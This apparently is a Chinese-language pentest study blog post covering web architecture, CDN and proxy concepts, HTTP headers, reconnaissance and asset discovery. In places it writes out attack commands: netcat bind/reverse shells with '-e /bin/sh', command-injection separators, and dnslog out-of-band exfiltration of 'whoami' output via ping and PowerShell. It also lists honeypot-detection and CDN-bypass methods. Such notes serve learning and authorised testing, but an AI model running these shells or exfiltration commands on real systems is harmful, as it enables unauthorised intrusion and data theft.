Preparation for Penetration Test
# Web 应用
网站搭建四大件:
- 操作系统
- 中间件
- 数据库
- 源码
# 网站内容组织和部署
# 子域名模式
子域名模式通过在主域名前添加子域名来组织和访问不同的内容或服务。例如, blog.yourdomain.com
和 shop.yourdomain.com
分别用于博客和购物应用。
优点:
- 独立性:每个子域名可以配置独立的服务器、应用和数据库,便于管理和维护。
- 清晰性:通过不同的子域名,用户可以清晰地区分不同的内容或服务。
- 安全性:隔离不同子域名的服务,增强整体安全性。
可能存在的漏洞类型:
1. 子域名接管(Subdomain Takeover)
2. 跨站脚本攻击(XSS)
3. 跨站请求伪造(CSRF)
# 目录模式
目录模式通过在主域名后添加路径来组织和访问不同的内容。例如, yourdomain.com/blog
和 yourdomain.com/shop
分别用于博客和购物应用。
优点:
- 简单部署:所有内容共享一个域名,只需配置一个虚拟主机或服务器块。
- 易于管理:适合小型网站或应用,便于集中管理。
- SEO 友好:所有内容共享同一个域名,有助于提高主域名的 SEO 效果。
可能存在的漏洞类型:
1. 目录遍历(Directory Traversal)
2. 访问控制缺失(Lack of Access Control)
3. 跨站脚本攻击(XSS)
# 端口模式
端口模式通过在主域名后添加不同的端口号来组织和访问不同的内容或服务。例如, yourdomain.com:8080
和 yourdomain.com:9090
分别用于不同的应用。
优点:
- 独立性:每个端口可以对应独立的服务,便于隔离和管理。
- 灵活性:不同服务可以在同一服务器上运行,避免域名冲突。
缺点:
- 用户体验:用户需要记住不同的端口号,不如子域名或目录直观。
- SEO 影响:搜索引擎对不同端口的处理不如子域名和目录友好。
可能存在的漏洞类型:
1. 端口扫描(Port Scanning)
2. 未授权访问(Unauthorized Access)
3. 服务配置错误(Misconfiguration)
# 其他相关
- Docker 容器
- 分配站(托管、申请)
- 集成软件(phpstudy,宝塔)
- 静态网站:(html 网站)数据没有传属性(仅存在 js 的传输),无漏洞
# 源码
- 开源:个人博客框架,小型项目 源码可见 — 源码不可见【加密,语言特性(比如 class 文件)】
- 商业:完整服务系统 **
- 自写:大型公司
# 结构组成
- 数据库目录
- 后台目录
- 文件目录
# 访问
-
常规访问
-
路由访问:
mvc源码,java,python
Web 应用的路由是定义 URL 模式与请求处理程序之间的映射关系。配置路由决定了用户访问不同 URL 时,应用程序应执行哪些操作或显示哪些内容。
# 解析规范
MIME:控制访问一个页面(文件)时的解析方式(下载,预览,特殊解析方式)
# 数据库
-
本地统一
-
站库分离:站库分离(Separation of Web Server and Database Server)是一种常见的架构设计模式,旨在提高系统的安全性、性能和可扩展性。通过将 Web 服务器和数据库服务器分离,分别在不同的物理或虚拟机器上运行
-
前后端分离:前后端独立开发、部署和运营。前端 JS 框架,API 传输数据
# WAF
# CDN
全称是内容分发网络(Content Delivery Network),是一种通过分布在各地的服务器群组来缓存和分发内容的技术。它的主要目的是提高用户访问网站的速度和可靠性。
缓存:CDN 在全球多个节点(PoP, Points of Presence)上缓存静态内容,如图片、视频、CSS 和 JavaScript 文件。这减少了源服务器的负载,并缩短了用户请求的响应时间。
负载均衡:CDN 可以根据流量情况将用户请求分配到不同的服务器上,避免单点过载。
故障切换:如果某个节点出现故障,CDN 可以自动将流量切换到其他正常工作的节点上,确保服务的连续性。
安全性:CDN 提供的安全功能包括 DDoS 防护、WAF(Web Application Firewall)等,保护网站免受各种网络攻击。会隐藏真实 ip
# OSS
对象存储服务(Object Storage Service),是一种基于对象的存储服务,专为存储海量非结构化数据而设计,如图片、视频、日志文件、备份数据等。
当 oss 错误的配置了存储桶时,可能会造成任意文件上传或覆盖漏洞
# 反向代理
使用一台代理服务器对底层的应用服务器进行代理。将他们的地址信息对客户端屏蔽,客户端只需要访问代理服务器即可,代理服务器会将请求转发给底层的真正起作用的应用服务器。但在客户端眼里,服务器只有唯一的一台,就是代理服务器。
访问反向代理的目标只是一个代理,并非真实服务器 ip
反向代理可以重定向解析,所以反对代理出的站点与真实应用可能毫无关系
# 与正向代理的区别
正向代理:正向代理就是我们在没有权限访问某些服务器或者速率很慢时,通过代理服务器代表我们去访问,而代理服务器常常是有能力、有权限达到目的的。
正向代理是代理客户端,反向代理是代理服务器端
# APP & 小程序
# 应用架构
# 1、原生开发
安卓一般使用 java 开发,也会有 kotlin。ios 常用 Swift
反编译 & 抓包 & 常规测试
# 2、H5 语言开发(VUE)
使用 H5&VUE 开发可以多端复用(工具:HBuilderX)
API&JS 框架安全问题 & JS 前端测试
# 3、使用 Flutter 开发
Flutter 是一个 UI 框架,使用 dart 语言进行开发,支持跨平台
# 4、常规 Web 开发
web app 软件开发简单地说,就是开发一个网站,然后加入 app 的壳。webApp 一般非常小,内容都是 app 内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差,而且 app 内的交互设计等非常有效。但开发周期长端,需要的技术人员少,成本低。
常规 Web 安全测试
# 渗透命令
命令生成工具:[~]# 棱角 ::Edge.Forum* (ywhack.com)
# 文件上传下载
利用命令尝试下载文件,解决无图形化和数据传输的问题
LInux: wget curl python ruby perl java
Windows: PowerShell Certutil Bitsadmin msiexec mshta rund1132
# 反弹 shell
解决数据回显、数据通讯问题
[~]# 棱角 ::Edge.Forum* (ywhack.com)
# 正向链接和反向链接
正向连接(攻击机主动去连接受害主机)
正向连接是受害主机监听一个端口,由控制主机主动去连接受害主机的过程,适用于受害主机具有公网 ip 的情况下。例如下面,受害主机具有公网 ip,被控主机可以通过 ip 地址访问到受害主机,所以能够使用正相连接来控制受害主机。
1 | 目标机器上命令:nc -lvp Target_port -e /bin/sh #正向shell是在目标机器上进行监听 |
反向连接 (受害主机出网 主动连接攻击机)
反向连接是控制主机监听一个端口,由受害主机反向去连接控制主机的过程,适用于受害主机出网(或出网且没有公网 ip)的情况。例如,受害主机是一台位于内网,并且没有公网 ip 且能访问互联网的主机,控制主机无法直接通过 ip 地址访问到受害主机。所以此时需要在控制主机上监听一个端口,让受害机主动连接控制主机,从而实现对控制主机的控制。
由于反向连接是被攻击者主动连接攻击者,所以不受防火墙策略的限制
1 | 本地机器上命令:nc -lvp Target_port #反向shell是在本地进行监听 |
如果目标主机是 windows(不自带 nc),要在目标主机安装 nc 反弹 shell,在服务器装好 nc.exe,通过上文的文件下载安装到目标主机,然后反弹 shell
# 防火墙绕过
# 管道符
1 | ; 命令1;命令2 多个命令顺序执行,命令之间无任何逻辑关系。(linux特有) |
linux 中存在 ''
符号,直接执行’' 内的命令
# 目标主机防火墙
一般出站宽松入站严格
# 端口的入站出站限制
入站限制:使用反向链接
出站限制:使用正向链接
# 关于数据回显
如果已知存在漏洞但没有回显,可以尝试:
- 反弹 shell
- 带外查询(
ping 'whoami'.***.dnslog.cn
;然后在 DNSLog Platform 网站上查询日志)
windows 无’’,可以用 powershell,如下:
powershell $x=whoami;$x=$x.Replace(\','xxx”);$y='.f4an93.dnslog.cn';$z=$x+$y;ping $z
# 抓包技术
# HTTP/S
# 非 Web 协议
抓包技术 & 全局协议 & 封包监听 & 网卡模式 & APP & 小程序 & PC 应用_封包监听工具
# 数据传输
# 编码和加密
编码
安全测试漏洞的时候,通常会进行数据的修改增加进行测试,目标服务器可能会对数据进行解码再解析,所以测试时需要对 payload 先编码
算法加密
如果需要爆破的参数通过 md5 等算法进行了加密,需要对字典进行加密之后爆破
Windows -> NTLM
单向散列加密:
MD5、SHA、MAC、CRC
方便存储,损耗低;但是只需要密文就有爆破解密的可能性
大部分解密都是碰撞爆破,弱密码容易解密
对称加密:
AES、DES、RC4
算法公开、加密速度快、效率高
需要双方同步好加密模式、key、偏移量才可解密,这种方式通过算法逆向解密
非对称加密:
RSA、PKCS
安全性更好,有公钥和密钥
# 传输格式
常规:x=123
JSON:
1 | { |
XML:
# 代码混淆
之前写过 js 混淆:adout JS - Fc04dB’s BLOG
# HTTP
# header
HTTP 响应头信息 | 菜鸟教程 (runoob.com)
响应头信息(英文) | 响应头信息(中文) | 描述 |
---|---|---|
Date | 日期 | 响应生成的日期和时间。例如:Wed, 18 Apr 2024 12:00:00 GMT |
Server | 服务器 | 服务器软件的名称和版本。例如:Apache/2.4.1 (Unix) |
Content-Type | 内容类型 | 响应体的媒体类型(MIME 类型),如 text/html; charset=UTF-8 , application/json 等。 |
Content-Length | 内容长度 | 响应体的大小,单位是字节。例如:3145 |
Content-Encoding | 内容编码 | 响应体的压缩编码,如 gzip , deflate 等。 |
Content-Language | 内容语言 | 响应体的语言。例如:zh-CN |
Content-Location | 内容位置 | 响应体的 URI。例如:/index.html |
Content-Range | 内容范围 | 响应体的字节范围,用于分块传输。例如:bytes 0-999/8000 |
Cache-Control | 缓存控制 | 控制响应的缓存行为,如 no-cache 表示必须重新请求。 |
Connection | 连接 | 管理连接的选项,如 keep-alive 或 close ,keep-alive 表示连接不会在传输后关闭。。 |
Set-Cookie | 设置 Cookie | 设置客户端的 cookie。例如:sessionId=abc123; Path=/; Secure |
Expires | 过期时间 | 响应体的过期日期和时间。例如:Thu, 18 Apr 2024 12:00:00 GMT |
Last-Modified | 最后修改时间 | 资源最后被修改的日期和时间。例如:Wed, 18 Apr 2024 11:00:00 GMT |
ETag | 实体标签 | 资源的特定版本的标识符。例如:“33a64df551425fcc55e6” |
Location | 位置 | 用于重定向的 URI。例如:/newresource |
Pragma | 实现特定的指令 | 包含实现特定的指令,如 no-cache 。 |
WWW-Authenticate | 认证信息 | 认证信息,通常用于 HTTP 认证。例如:Basic realm=“Access to the site” |
Accept-Ranges | 接受范围 | 指定可接受的请求范围类型。例如:bytes |
Age | 经过时间 | 响应生成后经过的秒数,从原始服务器生成到代理服务器。例如:24 |
Allow | 允许方法 | 列出资源允许的 HTTP 方法 。例如:GET, POST,HEAD 等 |
Vary | 变化 | 告诉下游代理如何使用响应头信息来确定响应是否可以从缓存中获取。例如:Accept |
Strict-Transport-Security | 严格传输安全 | 指示浏览器仅通过 HTTPS 与服务器通信。例如:max-age=31536000; includeSubDomains |
X-Frame-Options | 框架选项 | 控制页面是否允许在框架中显示,防止点击劫持攻击。例如:SAMEORIGIN |
X-Content-Type-Options | 内容类型选项 | 指示浏览器不要尝试猜测资源的 MIME 类型。例如:nosniff |
X-XSS-Protection | XSS 保护 | 控制浏览器的 XSS 过滤和阻断。例如:1; mode=block |
Public-Key-Pins | 公钥固定 | HTTP 头信息,用于 HTTP 公共密钥固定(HPKP),一种安全机制,用于防止中间人攻击。例如:pin-sha256=“base64+primarykey”; pin-sha256=“base64+backupkey”; max-age=expireTime |
# 响应码
分类 | 分类描述 | ||
---|---|---|---|
1** | 信息,服务器收到请求,需要请求者继续执行操作 | ||
2** | 成功,操作被成功接收并处理 | ||
3** | 重定向,需要进一步的操作以完成请求 | ||
4** | 客户端错误,请求包含语法错误或无法完成请求 | ||
5** | 服务器错误,服务器在处理请求的过程中发生了错误 | ||
状态码 | 状态码英文名 称 | 中文描述 | |
:----: | :----------------- | :----------------------------------------------------------- | ---- |
200 | OK | 请求成功。一般用于 GET 与 POST 请求 | |
300 | Multiple Choices | 多种选择。请求的资源可包括多个位置,相应可返回一个资源特征与地址的列表用于用户终端(例如:浏览器)选择 | |
301 | Moved Permanently | 永久移动。请求的资源已被永久的移动到新 URI,返回信息会包括新的 URI,浏览器会自动定向到新 URI。今后任何新的请求都应使用新的 URI 代替 | |
302 | Found | 临时移动。与 301 类似。但资源只是临时被移动。客户端应继续使用原有 URI | |
303 | See Other | 查看其它地址。与 301 类似。使用 GET 和 POST 请求查看 | |
400 | Bad Request | 客户端请求的语法错误,服务器无法理解 | |
401 | Unauthorized | 请求要求用户的身份认证 |
# 信息打点
# 公司信息
首先拿到目标,需要对目标企业的股权结构等进行收集,明确哪些算是目标,例如收集全资 / 控股子公司、孙公司等等。
- 企查查
- 爱企查
- 天眼查
备案信息、企业产权、注册域名、反查解析
后面信息收集之前有写过:Information Gathering - Fc04dB’s BLOG
# 源码
尝试通过网站指纹 TideFinger 潮汐指纹 寻找例如 CMS 等框架进而尝试找到源码
还可以考虑源码泄露,指纹识别不出内网的 CMS,可以用工具 GotoScan
常见的 Web 源码泄露:
- git 源码泄露(githack)
- svn 源码泄露(svnExploit)
- DS_Store 文件泄露(ds_store_exp)
- 网站备份压缩文件泄露(御剑、disearch.py )
- Web-INF/Web.xml 泄露
- CVS 泄露
- hg 源码泄漏
- Bazaar/bzr 泄露
- SWP 文件泄露
可能还会在 github、gitee 等托管平台找到
利用 github 搜索引擎搜索 js 文件名,脚本文件名
# JS 打点
JS 一般在前端可以看到,可以获取更多 URL、JS 敏感信息、代码逻辑(加密算法、APIkey 配置、验证逻辑),一般相当于白盒测试
JS 框架:Vue、NodeJS、JQuery、Angular
# JS 的安全问题
- 源码泄露
- 未授权访问
- 敏感 key 泄露
- API 接口安全
# 一些工具
- JSFinder
- URLFInder
- JSINFO-SCAN
- FindSomething
- 其他 FUZZ 工具
- PackerFuzzer(针对 webpack 打包器)
# 端口扫描
# 中间件
# web 服务器(F12 大法)
Apache、Nginx、IIS、Lighttpd
# 应用服务器(端口扫描)
Tomcat、Jboss、Weblogic、Websphere
工具:Nmap
naabu -list lists.txt -p - -exclude-ports 80,443,21,22,25 -rate 20000 -c 500 -retries 2 -warm-up time 1 -silent -nmap-cli 'nmap -sV -oX scan.xml'
# 应用服务信息
FTP:tcp20、21,匿名的上传下载,爆破,嗅探,win 提权,远程执行,后门
SSH:tcp22,爆破,v1 版本中间人,ssh 隧道,内网代理转发,文件传输
RDP、SMB、SMTP、LDAP、Rsync
防火墙:可能会使开放的端口无法通信(Filtered)
内网环境:Web 开放数据库端口,网站也可以正常打开,但是扫描时发现端口没有开放(排除防火墙问题),只有能直接与内网通信才能扫到所有的端口
# WAF 识别
** 工具识别:**wafw00f、identYwaf
# 蜜罐识别
蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,其没有业务上的用途,所有流入 / 流出蜜罐的流量都预示着扫描或者攻击行为,因此可以比较好的聚焦于攻击流量。
蜜罐可以实现对攻击者的主动诱捕,能够详细地记录攻击者攻击过程中的许多痕迹,可以收集到大量有价值的数据,如病毒或蠕虫的源码、黑客的操作等,从而便于提供丰富的溯源数据。
按交互方式分类,蜜罐可以分为三类,低交互式蜜罐,中交互式蜜罐,高交互式蜜罐。
低交互式蜜罐 :通常是指与操作系统交互程度较低的蜜罐系统,仅开放一些简单的服务或端口,用来检测扫描和连接,这种容易被识别。
中交互式蜜罐 :介于低交互式和高交互式之间,能够模拟操作系统更多的服务,让攻击者看起来更像一个真实的业务,从而对它发动攻击,这样蜜罐就能获取到更多有价值的信息。
高交互式 :指的是与操作系统交互很高的蜜罐,它会提供一个更真实的环境,这样更容易吸引入侵者,有利于掌握新的攻击手法和类型,但同样也会存在隐患,会对真实网络造成攻击。
按模拟目标分类,数据库蜜罐,工控蜜罐,Web 蜜罐,物联网蜜罐
# 识别
# 项目识别
Heimdallr 插件
quake_rs
# 人工识别
1、开放端口巨多且有规律
2、Web 访问协议就下载
3、指纹分析
# CDN 绕过
干货 | 渗透测试中最全的 CDN 绕过总结 (qq.com)
配置 1 --> 加速域名
子域名获取真实 ip,如果配置域名为 *.example.com
这种方法就会失效
配置 2 --> 加速区域
国外访问获取真实 ip,基于加速区域为 “仅中国内陆”
配置 3 --> 加速类型(资源)
# 判断网站是否使用了 CDN
- 反查域名 IP,看结果是否有大量不相关的域名存在
- 观察请求响应的返回数据的头部,是否有 CDN 服务商标识
- 使用超级 ping,比如:网站测速 ,通过不同定位地点的 ping 测试,看返回的 IP 是否不同
- 判断 IP 是否在常见 CDN 服务商的服务器 IP 段上
- 若 asp 或者 asp.net 网站返回头的 server 不是 IIS、而是 Nginx,则多半使用了 nginx 反向代理到 CDN
- 利用 Nslookup 查询域名,看是否返回多个应答 IP
查找 CDN 厂商:全球 CDN 服务商查询
IP 库:纯真网络 (cz88.net)
# 如何绕过 CDN 朔源网站真实 IP
一、通过查询 DNS 记录 / IP 历史记录 / 子域名 等数据记录
二、通过 Email 邮局
三、通过 SSL 证书
四、通过海外 DNS 查询
五、通过敏感文件泄露
六、通过变更的域名
… …
# Web 框架
1、最简单最入门的开发模型 (功能代码全部手写)
最容易出现漏洞,程序员水平不一,没有第三方或团队的检测,单纯的自己写
2、结合开发框架的开发模型 (以框架为核心实现功能)
第三方或团队的开发的封装代码框架,一般内置的过滤机制 (框架漏洞)
3、结合开发框架外加组件模型 (以框架为核心,组件为辅实现功能)
第三方或团队的开发的封装代码框架,一般内置的过滤机制 (框架和组件漏洞)
相关框架漏洞(靶场):首页 - vulfocus
指纹识别 — 识别到(CMS,框架,组件)— 信息搜集相关的漏洞
# 自动化
企业信息:wgpsec/ENScan_GO
网络空间:Kento-Sec/AsamF (主要是导出免积分)
灯塔(已闭源)、nemo、rengine
# 其他资产
# 微信公众号
可以在企查查、爱企查、天眼查尝试搜索
搜狗微信搜索 ,有无第三方服务(邮箱,跳转)
# GItHub 监控
可能存在网站源码开源项目,可能会有(人员、数据库等)敏感信息
# 网盘
跟 GitHub 一个道理,都是工作人员可能将敏感信息上传到网盘(GitHub),但是除了数据库、源码之外网盘中可能还会有招标信息、内部网络架构、业务产品。混合盘 - 可搜索全网网盘
- Title: Preparation for Penetration Test
- Author: Fc04dB
- Created at : 2024-08-02 15:59:31
- Updated at : 2024-08-28 14:51:23
- Link: https://redefine.ohevan.com/2024/08/02/Penetration-Test/
- License: This work is licensed under CC BY-NC-SA 4.0.